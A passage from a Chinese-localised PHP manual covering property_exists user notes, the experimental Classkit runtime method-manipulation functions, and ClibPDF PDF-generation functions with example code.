var_dump(property_exists('myClass', 'xpto'));   //false, isn't public

?>

参见

method_exists()

add a note add a note User Contributed Notes
jcaplan at bogus dot amazon dot com
09-Jun-2006 05:35
The documentation leaves out the important case of new properties you add to objects at run time.  In fact, property_exists will return true if you ask it about such properties.

<?
class Y {}
$y = new Y;

echo isset( $y->prop ) ? "yes\n" : "no\n"; // no;
echo property_exists( 'Y', 'prop' ) ? "yes\n" : "no\n"; // no
echo property_exists( $y, 'prop' ) ? "yes\n" : "no\n"; // no

$y->prop = null;

echo isset( $y->prop ) ? "yes\n" : "no\n"; // no;
echo property_exists( 'Y', 'prop' ) ? "yes\n" : "no\n"; // no
echo property_exists( $y, 'prop' ) ? "yes\n" : "no\n"; // yes
?>
Pete W
02-Jun-2006 02:52
In a similar vein to the previous note, To check in PHP4 if an object has a property, even if the property is null:

<?php

if(array_key_exists('propertyName',get_object_vars($myObj)))
{
  // ..the property has been defined
}
?>
timshel
15-Nov-2005 08:20
I haven't tested this with the exact function semantics of 5.1, but this code should implement this function in php < 5.1:

<?php
if (!function_exists('property_exists')) {
  function property_exists($class, $property) {
   if (is_object($class))
     $class = get_class($class);

   return array_key_exists($property, get_class_vars($class));
  }
}
?>
add a note add a note

后退 | 起点 | 前进
method_exists | 上一级 | Classkit Functions


Classkit Functions

PHP 手册
后退 前进

XIII. Classkit Functions

简介

These functions allow the dynamic manipulation of PHP classes, at runtime.

注: This extension has been replaced by runkit, which is not limited to class manipulation but has function manipulation, as well.

安装

本 PECL 扩展未绑定于 PHP 中。

进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/classkit.

可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CLASSKIT_ACC_PRIVATE (int)

Marks the method private

CLASSKIT_ACC_PROTECTED (int)

Marks the method protected

CLASSKIT_ACC_PUBLIC (int)

Marks the method public

目录
classkit_import -- Import new class method definitions from a file
classkit_method_add -- Dynamically adds a new method to a given class
classkit_method_copy -- Copies a method from class to another
classkit_method_redefine -- Dynamically changes the code of the given method
classkit_method_remove -- Dynamically removes the given method
classkit_method_rename -- Dynamically changes the name of the given method

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
property_exists | 上一级 | classkit_import


classkit_import

(PECL)

classkit_import -- Import new class method definitions from a file

说明

array classkit_import ( string filename )

注: 本函数不能用于操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

filename

The filename of the class method definitions to import

返回值

Associative array of imported methods

范例

例子 1. classkit_import() example

<?php
// file: newclass.php
class Example {
    function foo() {
        return "bar!\n";
    }
}
?>
<?php
// requires newclass.php (see above)
class Example {
    function foo() {
        return "foo!\n";
    }
}

$e = new Example();

// output original
echo $e->foo();

// import replacement method
classkit_import('newclass.php');

// output imported
echo $e->foo();

?>

上例将输出：

foo!
bar!

参见

classkit_method_add()
classkit_method_copy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Classkit Functions | 上一级 | classkit_method_add


classkit_method_add

(PECL)

classkit_method_add -- Dynamically adds a new method to a given class

说明

bool classkit_method_add ( string classname, string methodname, string args, string code [, int flags] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

flags

The type of method to create, can be CLASSKIT_ACC_PUBLIC, CLASSKIT_ACC_PROTECTED or CLASSKIT_ACC_PRIVATE

注: This parameter is only used as of PHP 5, because, prior to this, all methods were public.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. classkit_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
classkit_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    CLASSKIT_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

上例将输出：

16

参见

classkit_method_copy()
classkit_method_redefine()
classkit_method_remove()
classkit_method_rename()
create_function()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
classkit_import | 上一级 | classkit_method_copy


classkit_method_copy

(PECL)

classkit_method_copy -- Copies a method from class to another

说明

bool classkit_method_copy ( string dClass, string dMethod, string sClass [, string sMethod] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. classkit_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
classkit_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

上例将输出：

foo!

参见

classkit_method_add()
classkit_method_redefine()
classkit_method_remove()
classkit_method_rename()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
classkit_method_add | 上一级 | classkit_method_redefine


classkit_method_redefine

(PECL)

classkit_method_redefine -- Dynamically changes the code of the given method

说明

bool classkit_method_redefine ( string classname, string methodname, string args, string code [, int flags] )

注: 本函数不能用于操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

flags

The redefined method can be CLASSKIT_ACC_PUBLIC, CLASSKIT_ACC_PROTECTED or CLASSKIT_ACC_PRIVATE

注: This parameter is only used as of PHP 5, because, prior to this, all methods were public.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. classkit_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
classkit_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    CLASSKIT_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

上例将输出：

Before: foo!
After: bar!

参见

classkit_method_add()
classkit_method_copy()
classkit_method_remove()
classkit_method_rename()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
classkit_method_copy | 上一级 | classkit_method_remove


classkit_method_remove

(PECL)

classkit_method_remove -- Dynamically removes the given method

说明

bool classkit_method_remove ( string classname, string methodname )

注: 本函数不能用于操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class in which to remove the method

methodname

The name of the method to remove

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. classkit_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
classkit_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

上例将输出：

bar

参见

classkit_method_add()
classkit_method_copy()
classkit_method_redefine()
classkit_method_rename()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
classkit_method_redefine | 上一级 | classkit_method_rename


classkit_method_rename

(PECL)

classkit_method_rename -- Dynamically changes the name of the given method

说明

bool classkit_method_rename ( string classname, string methodname, string newname )

注: 本函数不能用于操作当前正在运行（或运行链上）的方法。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参数

classname

The class in which to rename the method

methodname

The name of the method to rename

newname

The new name to give to the renamed method

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. classkit_method_rename() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// Rename the 'foo' method to 'bar'
classkit_method_rename(
    'Example',
    'foo',
    'bar'
);

// output renamed function
echo Example::bar();
?>

上例将输出：

foo!

参见

classkit_method_add()
classkit_method_copy()
classkit_method_redefine()
classkit_method_remove()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
classkit_method_remove | 上一级 | ClibPDF Functions


ClibPDF Functions

PHP 手册
后退 前进

XIV. ClibPDF Functions

简介

ClibPDF lets you create PDF documents with PHP. ClibPDF functionality and API are similar to PDFlib. This documentation should be read alongside the ClibPDF manual since it explains the library in much greater detail.

Many functions in the native ClibPDF and the PHP module, as well as in PDFlib, have the same name. All functions except for cpdf_open() take the handle for the document as their first parameter.

Currently this handle is not used internally since ClibPDF does not support the creation of several PDF documents at the same time. Actually, you should not even try it, the results are unpredictable. I can't oversee what the consequences in a multi threaded environment are. According to the author of ClibPDF this will change in one of the next releases (current version when this was written is 1.10). If you need this functionality use the pdflib module.

A nice feature of ClibPDF (and PDFlib) is the ability to create the pdf document completely in memory without using temporary files. It also provides the ability to pass coordinates in a predefined unit length. (This feature can also be simulated by pdf_translate() when using the PDFlib functions.)

Another nice feature of ClibPDF is the fact that any page can be modified at any time even if a new page has been already opened. The function cpdf_set_current_page() allows to leave the current page and presume modifying an other page.

Most of the functions are fairly easy to use. The most difficult part is probably creating a very simple PDF document at all. The following example should help you to get started. It creates a document with one page. The page contains the text "Times-Roman" in an outlined 30pt font. The text is underlined.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: If you're interested in alternative free PDF generators that do not utilize external PDF libraries, see this related FAQ.

需求

In order to use the ClibPDF functions you need to install the ClibPDF package. It is available for download from FastIO, but requires that you purchase a license for commercial use. PHP requires that you use cpdflib >= 2.

安装

To get these functions to work, you have to compile PHP with --with-cpdflib[=DIR]. DIR is the cpdflib install directory, defaults to /usr. In addition you can specify the jpeg library and the tiff library for ClibPDF to use. To do so add to your configure line the options --with-jpeg-dir[=DIR] --with-tiff-dir[=DIR].

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CPDF_PM_NONE (integer)

CPDF_PM_OUTLINES (integer)

CPDF_PM_THUMBS (integer)

CPDF_PM_FULLSCREEN (integer)

CPDF_PL_SINGLE (integer)

CPDF_PL_1COLUMN (integer)

CPDF_PL_2LCOLUMN (integer)

CPDF_PL_2RCOLUMN (integer)

范例

例子 1. Simple ClibPDF Example

<?php
$cpdf = cpdf_open(0);
cpdf_page_init($cpdf, 1, 0, 595, 842, 1.0);
cpdf_add_outline($cpdf, 0, 0, 0, 1, "Page 1");
cpdf_begin_text($cpdf);
cpdf_set_font($cpdf, "Times-Roman", 30, "WinAnsiEncoding");
cpdf_set_text_rendering($cpdf, 1);
cpdf_text($cpdf, "Times Roman outlined", 50, 50);
cpdf_end_text($cpdf);
cpdf_moveto($cpdf, 50, 50);
cpdf_lineto($cpdf, 740, 330);
cpdf_stroke($cpdf);
cpdf_finalize_page($cpdf, 1);
cpdf_finalize($cpdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($cpdf);
cpdf_close($cpdf);
?>

The pdflib distribution contains a more complex example which creates a series of pages with an analog clock. Here is that example converted into PHP using the ClibPDF extension:

例子 2. pdfclock example from pdflib 2.0 distribution

<?php
$radius = 200;
$margin = 20;
$pagecount = 40;

$pdf = cpdf_open(0);
cpdf_set_creator($pdf, "pdf_clock.php");
cpdf_set_title($pdf, "Analog Clock");

while ($pagecount-- > 0) {
  cpdf_page_init($pdf, $pagecount+1, 0, 2 * ($radius + $margin), 2 * ($radius + $margin), 1.0);

  cpdf_set_page_animation($pdf, 4, 0.5, 0, 0, 0);  /* wipe */

  cpdf_translate($pdf, $radius + $margin, $radius + $margin);
  cpdf_save($pdf);
  cpdf_setrgbcolor($pdf, 0.0, 0.0, 1.0);

  /* minute strokes */
  cpdf_setlinewidth($pdf, 2.0);
  for ($alpha = 0; $alpha < 360; $alpha += 6) {
    cpdf_rotate($pdf, 6.0);
    cpdf_moveto($pdf, $radius, 0.0);
    cpdf_lineto($pdf, $radius-$margin/3, 0.0);
    cpdf_stroke($pdf);
  }

  cpdf_restore($pdf);
  cpdf_save($pdf);

  /* 5 minute strokes */
  cpdf_setlinewidth($pdf, 3.0);
  for ($alpha = 0; $alpha < 360; $alpha += 30) {
    cpdf_rotate($pdf, 30.0);
    cpdf_moveto($pdf, $radius, 0.0);
    cpdf_lineto($pdf, $radius-$margin, 0.0);
    cpdf_stroke($pdf);
  }

  $ltime = getdate();

  /* draw hour hand */
  cpdf_save($pdf);
  cpdf_rotate($pdf, -(($ltime['minutes']/60.0) + $ltime['hours'] - 3.0) * 30.0);
  cpdf_moveto($pdf, -$radius/10, -$radius/20);
  cpdf_lineto($pdf, $radius/2, 0.0);
  cpdf_lineto($pdf, -$radius/10, $radius/20);
  cpdf_closepath($pdf);
  cpdf_fill($pdf);
  cpdf_restore($pdf);

  /* draw minute hand */
  cpdf_save($pdf);
  cpdf_rotate($pdf, -(($ltime['seconds']/60.0) + $ltime['minutes'] - 15.0) * 6.0);
  cpdf_moveto($pdf, -$radius/10, -$radius/20);
  cpdf_lineto($pdf, $radius * 0.8, 0.0);
  cpdf_lineto($pdf, -$radius/10, $radius/20);
  cpdf_closepath($pdf);
  cpdf_fill($pdf);
  cpdf_restore($pdf);

  /* draw second hand */
  cpdf_setrgbcolor($pdf, 1.0, 0.0, 0.0);
  cpdf_setlinewidth($pdf, 2);
  cpdf_save($pdf);
  cpdf_rotate($pdf, -(($ltime['seconds'] - 15.0) * 6.0));
  cpdf_moveto($pdf, -$radius/5, 0.0);
  cpdf_lineto($pdf, $radius, 0.0);
  cpdf_stroke($pdf);
  cpdf_restore($pdf);

  /* draw little circle at center */
  cpdf_circle($pdf, 0, 0, $radius/30);
  cpdf_fill($pdf);

  cpdf_restore($pdf);

  cpdf_finalize_page($pdf, $pagecount+1);
}

cpdf_finalize($pdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($pdf);
cpdf_close($pdf);
?>

参见

See also the PDFlib extension documentation.

目录
cpdf_add_annotation -- Adds annotation
cpdf_add_outline -- Adds bookmark for current page
cpdf_arc -- Draws an arc
cpdf_begin_text -- Starts text section
cpdf_circle -- Draw a circle
cpdf_clip -- Clips to current path
cpdf_close -- Closes the pdf document
cpdf_closepath_fill_stroke -- Close, fill and stroke current path
cpdf_closepath_stroke -- Close path and draw line along path
cpdf_closepath -- Close path
cpdf_continue_text -- Output text in next line
cpdf_curveto -- Draws a curve
cpdf_end_text -- Ends text section
cpdf_fill_stroke -- Fill and stroke current path
cpdf_fill -- Fill current path
cpdf_finalize_page -- Ends page
cpdf_finalize -- Ends document
cpdf_global_set_document_limits -- Sets document limits for any pdf document
cpdf_import_jpeg -- Opens a JPEG image
cpdf_lineto -- Draws a line
cpdf_moveto -- Sets current point
cpdf_newpath -- Starts a new path
cpdf_open -- Opens a new pdf document
cpdf_output_buffer -- Outputs the pdf document in memory buffer
cpdf_page_init -- Starts new page
cpdf_place_inline_image -- Places an image on the page
cpdf_rect -- Draw a rectangle
cpdf_restore -- Restores formerly saved environment
cpdf_rlineto -- Draws a line
cpdf_rmoveto -- Sets current point
cpdf_rotate_text -- Sets text rotation angle
cpdf_rotate -- Sets rotation
cpdf_save_to_file -- Writes the pdf document into a file
cpdf_save -- Saves current environment
cpdf_scale -- Sets scaling
cpdf_set_action_url -- Sets hyperlink
cpdf_set_char_spacing -- Sets character spacing
cpdf_set_creator -- Sets the creator field in the pdf document
cpdf_set_current_page -- Sets current page
cpdf_set_font_directories -- Sets directories to search when using external fonts
cpdf_set_font_map_file -- Sets fontname to filename translation map when using external fonts
cpdf_set_font -- Select the current font face and size
cpdf_set_horiz_scaling -- Sets horizontal scaling of text
cpdf_set_keywords -- Sets the keywords field of the pdf document
cpdf_set_leading -- Sets distance between text lines
cpdf_set_page_animation -- Sets duration between pages
cpdf_set_subject -- Sets the subject field of the pdf document
cpdf_set_text_matrix -- Sets the text matrix
cpdf_set_text_pos -- Sets text position
cpdf_set_text_rendering -- Determines how text is rendered
cpdf_set_text_rise -- Sets the text rise
cpdf_set_title -- Sets the title field of the pdf document
cpdf_set_viewer_preferences -- How to show the document in the viewer
cpdf_set_word_spacing -- Sets spacing between words
cpdf_setdash -- Sets dash pattern
cpdf_setflat -- Sets flatness
cpdf_setgray_fill -- Sets filling color to gray value
cpdf_setgray_stroke -- Sets drawing color to gray value
cpdf_setgray -- Sets drawing and filling color to gray value
cpdf_setlinecap -- Sets linecap parameter
cpdf_setlinejoin -- Sets linejoin parameter
cpdf_setlinewidth -- Sets line width
cpdf_setmiterlimit -- Sets miter limit
cpdf_setrgbcolor_fill -- Sets filling color to rgb color value
cpdf_setrgbcolor_stroke -- Sets drawing color to rgb color value
cpdf_setrgbcolor -- Sets drawing and filling color to rgb color value
cpdf_show_xy -- Output text at position
cpdf_show -- Output text at current position
cpdf_stringwidth -- Returns width of text in current font
cpdf_stroke -- Draw line along path
cpdf_text -- Output text with parameters
cpdf_translate -- Sets origin of coordinate system

add a note add a note User Contributed Notes
florent AT clairambault.fr
04-Jun-2006 07:11
There's an alternative way to generate PDF document, it's FPDF : FPDF is a PHP class which allows to generate PDF files with pure PHP, that is to say without using the PDFlib library. F from FPDF stands for Free: you may use it for any kind of usage and modify it to suit your needs.

So that you don't have to add any PHP library.
puterasalji at yahoo dot com
07-Apr-2003 11:32
I've finally found a way to display text

<?php
$radius = 200;
$margin = 20;
$pagecount = 1;

$pdf = cpdf_open(0);

  cpdf_page_init($pdf, $pagecount+1, 0, 2 * ($radius + $margin), 2 * ($radius + $margin), 1.0);

  cpdf_translate($pdf, $radius + $margin, $radius + $margin);

  cpdf_begin_text($pdf);
  cpdf_set_font($pdf, "Arial", 30, "NULL");
  cpdf_set_text_rendering($pdf, 1);
  cpdf_text($pdf, "Yahoo!!", -198, 50);
  cpdf_end_text($pdf);

  /* minute strokes*/
  for ($alpha = 0; $alpha < 90; $alpha += 6)
   {
       cpdf_setrgbcolor($pdf,9.0,9.0,0.0);
   cpdf_rotate($pdf, 6.0);
   cpdf_moveto($pdf, $radius, 0.0);
   cpdf_lineto($pdf, $radius-$margin/3, 0.0);
   cpdf_stroke($pdf);

   }

cpdf_finalize($pdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($pdf);
cpdf_close($pdf);
?>

I'm not sure why, but the text appeared only after I've pasted the minute strokes draw function from clock.php example. I user the cpdf_translate to begin the x,y coordinate in the middle of the document
add a note add a note

后退 | 起点 | 前进
classkit_method_rename | 上一级 | cpdf_add_annotation


cpdf_add_annotation

(PHP 3 >= 3.0.12, PHP 4, PHP 5 <= 5.0.4)

cpdf_add_annotation -- Adds annotation

Description

bool cpdf_add_annotation ( int pdf_document, float llx, float lly, float urx, float ury, string title, string content [, int mode] )

The cpdf_add_annotation() adds a note with the lower left corner at (llx, lly) and the upper right corner at (urx, ury). 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ClibPDF Functions | 上一级 | cpdf_add_outline


cpdf_add_outline

(PHP 3 >= 3.0.9, PHP 4, PHP 5 <= 5.0.4)

cpdf_add_outline -- Adds bookmark for current page

Description

int cpdf_add_outline ( int pdf_document, int lastoutline, int sublevel, int open, int pagenr, string text )

The cpdf_add_outline() function adds a bookmark with text text that points to the current page.

例子 1. Adding a page outline

<?php
$cpdf = cpdf_open(0);
cpdf_page_init($cpdf, 1, 0, 595, 842);
cpdf_add_outline($cpdf, 0, 0, 0, 1, "Page 1");
// ...
// some drawing
// ...
cpdf_finalize($cpdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($cpdf);
cpdf_close($cpdf);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_add_annotation | 上一级 | cpdf_arc


cpdf_arc

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_arc -- Draws an arc

Description

bool cpdf_arc ( int pdf_document, float x_coor, float y_coor, float radius, float start, float end [, int mode] )

The cpdf_arc() function draws an arc with center at point (x_coor, y_coor) and radius radius, starting at angle start and ending at angle end. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_circle().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_add_outline | 上一级 | cpdf_begin_text


cpdf_begin_text

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_begin_text -- Starts text section

Description

bool cpdf_begin_text ( int pdf_document )

The cpdf_begin_text() function starts a text section. 如果成功则返回 TRUE，失败则返回 FALSE。 The created text section must be ended with cpdf_end_text().

例子 1. Text output

<?php
cpdf_begin_text($pdf);
cpdf_set_font($pdf, 16, "Helvetica", "WinAnsiEncoding");
cpdf_text($pdf, 100, 100, "Some text");
cpdf_end_text($pdf)
?>

See also cpdf_end_text().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_arc | 上一级 | cpdf_circle


cpdf_circle

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_circle -- Draw a circle

Description

bool cpdf_circle ( int pdf_document, float x_coor, float y_coor, float radius [, int mode] )

The cpdf_circle() function draws a circle with center at point (x_coor, y_coor) and radius radius. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_arc().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_begin_text | 上一级 | cpdf_clip


cpdf_clip

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_clip -- Clips to current path

Description

bool cpdf_clip ( int pdf_document )

The cpdf_clip() function clips all drawing to the current path. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_circle | 上一级 | cpdf_close


cpdf_close

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_close -- Closes the pdf document

Description

bool cpdf_close ( int pdf_document )

The cpdf_close() function closes the pdf document. 如果成功则返回 TRUE，失败则返回 FALSE。 This should be the last function even after cpdf_finalize(), cpdf_output_buffer() and cpdf_save_to_file().

See also cpdf_open().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_clip | 上一级 | cpdf_closepath_fill_stroke


cpdf_closepath_fill_stroke

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_closepath_fill_stroke -- Close, fill and stroke current path

Description

bool cpdf_closepath_fill_stroke ( int pdf_document )

The cpdf_closepath_fill_stroke() function closes, fills the interior of the current path with the current fill color and draws current path. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_closepath(),
cpdf_stroke(),
cpdf_fill(),
cpdf_setgray_fill(),
cpdf_setgray(),
cpdf_setrgbcolor_fill() and
cpdf_setrgbcolor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_close | 上一级 | cpdf_closepath_stroke


cpdf_closepath_stroke

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_closepath_stroke -- Close path and draw line along path

Description

bool cpdf_closepath_stroke ( int pdf_document )

The cpdf_closepath_stroke() function is a
combination of cpdf_closepath() and
cpdf_stroke(). Then clears the path.
如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_closepath() and cpdf_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_closepath_fill_stroke | 上一级 | cpdf_closepath


cpdf_closepath

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_closepath -- Close path

Description

bool cpdf_closepath ( int pdf_document )

The cpdf_closepath() function closes the current path. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_closepath_stroke | 上一级 | cpdf_continue_text


cpdf_continue_text

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_continue_text -- Output text in next line

Description

bool cpdf_continue_text ( int pdf_document, string text )

The cpdf_continue_text() function outputs the string in text in the next line. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_show_xy(),
cpdf_text(),
cpdf_set_leading() and
cpdf_set_text_pos().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_closepath | 上一级 | cpdf_curveto


cpdf_curveto

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_curveto -- Draws a curve

Description

bool cpdf_curveto ( int pdf_document, float x1, float y1, float x2, float y2, float x3, float y3 [, int mode] )

The cpdf_curveto() function draws a Bezier curve from the current point to the point (x3, y3) using (x1, y1) and (x2, y2) as control points. 如果成功则返回 TRUE，失败则返回 FALSE。

可选参数 mode 决定单元的长度。如果为 0 或被省略则使用该页指定的默认单元。否则坐标忽略当前单元而使用 postscript 的点来度量。

See also cpdf_moveto(),
cpdf_rmoveto(),
cpdf_rlineto() and
cpdf_lineto().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_continue_text | 上一级 | cpdf_end_text


cpdf_end_text

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_end_text -- Ends text section

Description

bool cpdf_end_text ( int pdf_document )

The cpdf_end_text() function ends a text section which was started with cpdf_begin_text(). 如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. Text output

<?php
cpdf_begin_text($pdf);
cpdf_set_font($pdf, 16, "Helvetica", "WinAnsiEncoding");
cpdf_text($pdf, 100, 100, "Some text");
cpdf_end_text($pdf)
?>

See also cpdf_begin_text().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_curveto | 上一级 | cpdf_fill_stroke


cpdf_fill_stroke

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_fill_stroke -- Fill and stroke current path

Description

bool cpdf_fill_stroke ( int pdf_document )

The cpdf_fill_stroke() function fills the interior of the current path with the current fill color and draws current path. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_closepath(),
cpdf_stroke(),
cpdf_fill(),
cpdf_setgray_fill(),
cpdf_setgray(),
cpdf_setrgbcolor_fill() and
cpdf_setrgbcolor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_end_text | 上一级 | cpdf_fill


cpdf_fill

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_fill -- Fill current path

Description

bool cpdf_fill ( int pdf_document )

The cpdf_fill() function fills the interior of the current path with the current fill color. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_closepath(),
cpdf_stroke(),
cpdf_setgray_fill(),
cpdf_setgray(),
cpdf_setrgbcolor_fill() and
cpdf_setrgbcolor().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_fill_stroke | 上一级 | cpdf_finalize_page


cpdf_finalize_page

(PHP 3 >= 3.0.10, PHP 4, PHP 5 <= 5.0.4)

cpdf_finalize_page -- Ends page

Description

bool cpdf_finalize_page ( int pdf_document, int page_number )

The cpdf_finalize_page() function ends the page with page number page_number. 如果成功则返回 TRUE，失败则返回 FALSE。

This function is only for saving memory. A finalized page takes less memory but cannot be modified anymore.

See also cpdf_page_init().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_fill | 上一级 | cpdf_finalize


cpdf_finalize

(PHP 3 >= 3.0.8, PHP 4, PHP 5 <= 5.0.4)

cpdf_finalize -- Ends document

Description

bool cpdf_finalize ( int pdf_document )

The cpdf_finalize() function ends the document. You still have to call cpdf_close(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_close().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cpdf_finalize_page | 上一级 | cpdf_global_set_document_limits


cpdf_global_set_document_limits

(PHP 4, PHP 5 <= 5.0.4)

cpdf_global_set_document_limits -- Sets document limits for any pdf document

Description

bool cpdf_global_set_document_limits ( int maxpages, int maxfonts, int maximages, int maxannotations, int maxobjects )

The cpdf_global_set_document_limits() function sets several document limits. This function has to be called before cpdf_open() to take effect. It sets the limits for any document open afterwards. 如果成功则返回 TRUE，失败则返回 FALSE。

See also cpdf_open().

add a note add a note User Contributed Notes
